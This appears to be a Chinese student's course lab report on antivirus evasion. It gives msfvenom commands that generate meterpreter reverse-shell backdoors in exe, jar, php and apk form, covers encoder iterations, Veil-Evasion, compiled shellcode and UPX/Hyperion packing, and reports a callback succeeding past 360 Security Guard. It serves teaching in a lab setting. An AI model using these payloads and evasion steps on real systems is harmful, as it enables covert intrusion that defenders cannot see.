2018-2019-2 网络对抗技术 20165322 Exp3 免杀原理与实践

目录

实验内容与步骤

  • 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
  • 通过组合应用各种技术实现恶意代码免杀
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

实验过程中遇到的问题

基础问题回答

实验总结与体会

实验内容与步骤
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

(一)正确使用msf编码器

  • 用实验二中生成的后门文件在VIRSCAN中测试(要把文件名改短)

    可以看到,这个后门也太容易被发现了!我们要让杀软不察觉到它的存在,就要动一些手脚。
  • 尝试用msf编码器对后门程序进行一次到多次的编码
    • 1次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.132.137 LPORT=5322 -f exe > met-encoded.exe
    • 10次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.132.137 LPORT=5322 -f exe > met-encoded10.exe

      再次进行测试,发现较于之前并没有改变。
  • 参数介绍
    • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode
    • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中
    • -e 使用的编码器,用于对shellcode变形,为了免杀
    • -i 编码器的迭代次数。如上即使用该编码器编码5次
    • -b badchar 是payload中需要去除的字符
    • -f 生成文件的类型
    • > 输出到哪个文件
  • 被查杀原因分析
    • 编码器(这里使用的是shikata_ga_nai)总会有解码部分需要加入的exe中,只要盯住这部分就可以了。
    • 模板就是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。

返回目录

(二)msfvenom生成如jar之类的其他文件

  • 参考msfvenom生成各类Payload命令
  • 生成jar文件:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.132.137 lport=5322 x> 20165322_backdoor_java.jar
  • 生成php文件:msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.132.137 lport=5322 x> 20165322_backdoor.php
  • 生成apk文件:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.132.137 LPORT=5322 R > 20165322_backdoor.apk
  • jar、 php、 apk的检出率分别为6/49 、1/49 、7/32,相较于直接生成exe文件已经好了许多,尤其是php文件,在网站上只被一个杀软查出病毒。或许我们可以巧妙利用这一点对后门程序做些手脚。

返回目录

(三)使用veil-evasion生成后门程序及检测

  • 首先我们需要安装veil-evasion。由于我的kali镜像是18版的,参考晓暄的博客,输入以下指令即可安装成功(这里装之前需要update一下,我的源有点问题一开始没成功)
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
  • sudo apt-get install veil-evasion命令安装Veil
  • 之后输入veil打开veil,输入y继续安装直至完成
  • 再次输入veil即可进入应用界面
  • use evasion命令进入Evil-Evasion
  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面
  • 设置主机号set LHOST 192.168.132.137、端口号set LPORT 5322、输入generate生成文件
  • 输入想要生成的文件名(我这里是veil_c_5322)。在上图中找到路径,能看到生成了一个exe文件。用virscan网站测试一下。
  • veil生成的后门也有很大被发现的可能。

返回目录

(四)利用shellcode编程

  • 环境用的是虚拟机kali和虚拟机win7
  • 使用msf生成一段c语言shellcode数组:msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.117 LPORT=5322 -f c
  • 使用命令i686-w64-mingw32-g++ 20165322.c -o 20165322.exe编译这个.c文件为可执行文件;
  • 传输到目标win7主机后尝试用msf控制台回连失败。参考羽昕的方法在windows环境下重新编译了以后传入win7里……还没来得及回连就被电脑管家查杀了

    扫一扫……

返回目录

(五)加壳工具

压缩壳
  • 对(四)里的c生成的exe文件用压缩壳。:upx wyj.exe -o wyj.upxed.exe
  • 到网站上扫一扫……
  • 放到电脑管家里扫一扫……

    真的扫不出来了
加密壳
  • 将压缩壳生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录下
  • 进入目录/usr/share/windows-binaries/hyperion/
  • 输入命令wine hyperion.exe -v wyj.upxed.exe wyj.up.hyp.exe进行加壳
  • 执行上一步时会出现大量err和一个图标,不要担心,等待出现如下画面即可
  • mfs控制台成功连接被害机。。。不过我植入的加密壳后门一直运行不出来……编译、改名、改兼容、关杀软都试过了,甚至别人能跑的程序在我这也不能跑。。可能是电脑的锅(哭泣
  • 所以我们还是常规扫一扫吧……

返回目录

通过组合应用各种技术实现恶意代码免杀
  • 我们可以使用msfvenom -l encoders查看可以使用的编码器来生成不同的后门
  • 随眼缘使用x86/single_static_bit编码方式生成一个迭代5次的c语言shellcode数组,编译后生成exe文件
  • 然后对它加压缩壳
  • 两步均在开着杀软的情况下成功回连,扫描也没有发现病毒
  • 分别对他们进行了扫描对比,以下分别为无加壳与有加壳的扫描情况。

返回目录

用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
  • 被攻击电脑杀软名称:360安全卫士
  • 版本:11.5.0.2002

返回目录

实验过程中遇到的问题
  • 我的镜像是18版的,装上veil以后并不像19版的同学的veil能使用use来查看生成后门的方法。和老师上课的时候碰到的问题是一样的。在veil里update了一下,报错如下:

  • 查了一下原因,好像是因为源的问题。暂时还没有找到能解决问题的源。不过靠直接输入指令进入配置界面能够解决。
  • 将文件传入windows的时候,ping网络没有ping通,把两边设置都改成自动的桥接模式就可以解决了。

  • 运行加密壳生成的exe时,window显示如下错误。。。一开始以为是电脑兼容性的问题,结果用同学运行成功的代码来做还是不行Orz……

返回目录

基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征码的检测,特征码一般是一段或多段数据
  • 启发式恶意软件检测,片面地根据代码的行为去判断,并不精确
  • 基于行为的恶意软件检测,实时监控,是基于启发式的扫描

(2)免杀是做什么?

  • 免杀的目的就是为了防止杀软扫描出后门文件然后清除。
  • 免杀就是用一些针对杀软扫描的手段,使得杀软无法识别出后门程序,从而偷偷在电脑里运行。

(3)免杀的基本方法有哪些?

  • 总的来说就是改变特征码、改变行为
  • 在本次实验中用到的方法有:msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
  • 除此之外,使用修改编码方式、或者直接对代码进行加密、修改是更有效的手段

(4)开启杀软能绝对防止电脑中恶意代码吗?
当然不能。杀软只能查到它的库里的特征码,根据程序行为来判断它是否安全。如果用一种它还未知的方法去攻破,它就毫不知情了。

返回目录

实验总结与体会
  • 虽然老师在教程里说“做一个免杀程序并不难”,但是通过这次实验还是觉得做一个能逃过主流杀毒软件的免杀程序,真的很难,尤其是像Microsoft Defender这样的杀软,它查杀的已经很全面了。目前我还无法做出逃过它检测的免杀代码。360虽然没那么好用,不过也有不少同学说,前几天做出来的免杀代码没被扫出来,今天突然就被扫出来了。可见杀软还是相当管用的。
  • 我们要想做出一个隐蔽的免杀程序,最好的方法就是直接对程序做修改,通过知名工具做出来的免杀都很容易被杀软发现。
  • 每个杀软都有其侧重的地方,在我第二个实验里,加壳与不加壳扫描出来的结果相差并不大,也许有些杀软能根据壳的特征更容易检测出病毒软件。而像php类型的文件则很难被扫出来,原因我猜测是运行文件多为exe,所以各大杀软公司都侧重在exe文件上,其他类型的则并没有扫描的很完善。

返回目录

ps一些闹心的问题

  • 是的我这次实验一开机……kali就很愉快的告诉我可以更新一些系统里的东西,手贱同意了以后,它就卡在了Started update UTMP about system Runlevel一句,,上网一查竟然是显卡驱动的问题……附上两个解决方案:1,2。。。emmm出于对时间的考虑我决定重新考一个虚拟机:)
  • 既然拷了别人的虚拟机……ok,附上修改root开机密码的教程

转载于:https://www.cnblogs.com/wangyaojia/p/10633507.html

2018-2019-2 网络对抗技术 20165322 Exp3 免杀原理与实践相关推荐

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践

    2019-2020-2 20175227张雪莹<网络对抗技术> Exp3 免杀原理与实践 目录 0. 基础知识 1. 实验内容 1.1 方法 1.1.1 正确使用msf编码器 1.1.2 ...

  4. 20165214 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5

    <网络对抗技术>Exp3 免杀原理与实践 Week5 一.实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shell ...

  5. 2018-2019-2 网络对抗技术 20165210 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165210 Exp3 免杀原理与实践 免杀的概述 免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-Ant ...

  6. 20165223《网络对抗技术》Exp3 免杀原理与实践

    目录 -- 免杀原理与实践 免杀原理与实践 本次实验任务 基础知识问答 免杀扫描引擎 实验内容 正确使用msf编码器,msfvenom生成jar等文件,veil-evasion,加壳工具,使用shel ...

  7. 2018-2019-2 网络对抗技术 20165303 Exp3 免杀原理与实践

    实验内容 一. 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分) ...

  8. 20164317《网络对抗技术》Exp3 免杀原理与实践

    一.实验要求 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程( ...

  9. 2018-2019-2 网络对抗技术 20165335 Exp3 免杀原理与实践

    一.免杀原理与基础知识: (1)杀软是如何检测出恶意代码的? 检测特征码:特征码就是一般程序都不会有的代码,而后门有的那种特别的数据,而一个程序,应用有这种代码,数据的话,就直接判定为恶意代码. 主流 ...

  10. 2018-2019-2 网络对抗技术 20165231 Exp3 免杀原理与实践

    实践内容(3.5分) 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcod ...

最新文章

  1. 程序员也想改 Lottie 动画?是的!
  2. python多个for的执行顺序-python_装饰器篇(多个装饰器下的执行顺序)
  3. HarmonyOS之将SVG文件转换为XML文件
  4. redis(19)--事务
  5. ERROR:transport error 202: gethostbyname: unknown host
  6. 如何从 Datagrid 中获得单元格的内容与 使用值转换器进行绑定数据的转换IValueConverter...
  7. 信息学奥赛一本通 2073:【例2.16 】三角形面积
  8. Android简单通讯录从list取数据并显示 eclipse开发
  9. Battle Encoder Shirase一款能限制进程CPU占有率的小东西
  10. 评分9.7! 这本Python神作,火爆编程圈!网友:太香!
  11. 中学数学证明所有自然数和为-1/12
  12. Xshell5连接服务器
  13. CMDN创新应用推荐:好大夫在线
  14. 【思维导图】旅行物品清单
  15. 声纹识别技术简介——化繁为简的艺术
  16. 六级词汇总结( 整理自己的大学时候的资料发现的好东东!!~~)
  17. 海豚湾,变态的日本银
  18. 交换机POE技术知识大全
  19. 入侵和攻击模拟(BAS)实践
  20. c语言ntc程序,NTC热敏电阻温度计算以及C语言实现

热门文章

  1. go IO操作-文件读
  2. 怎么打造云计算的碎片计算方式
  3. /etc/security/limits.conf 详解与配置
  4. 深度清理C盘之非常有用
  5. Rocket MQ系列四 - 消息发送流程
  6. linux 下 cents os 7 下 安装JDK JRE TOMCAT 并配置环境变量
  7. 单片机中存储器扩展位地址线怎么算_单片机片外数据存储器扩展设计技巧简介...
  8. 争对让望对思野葛对山栀注解_《笠翁对韵》注音注释(四支)
  9. python大鱼吃小鱼
  10. Oracle 数据库表空间容量调整(表空间缩容脚本)脚本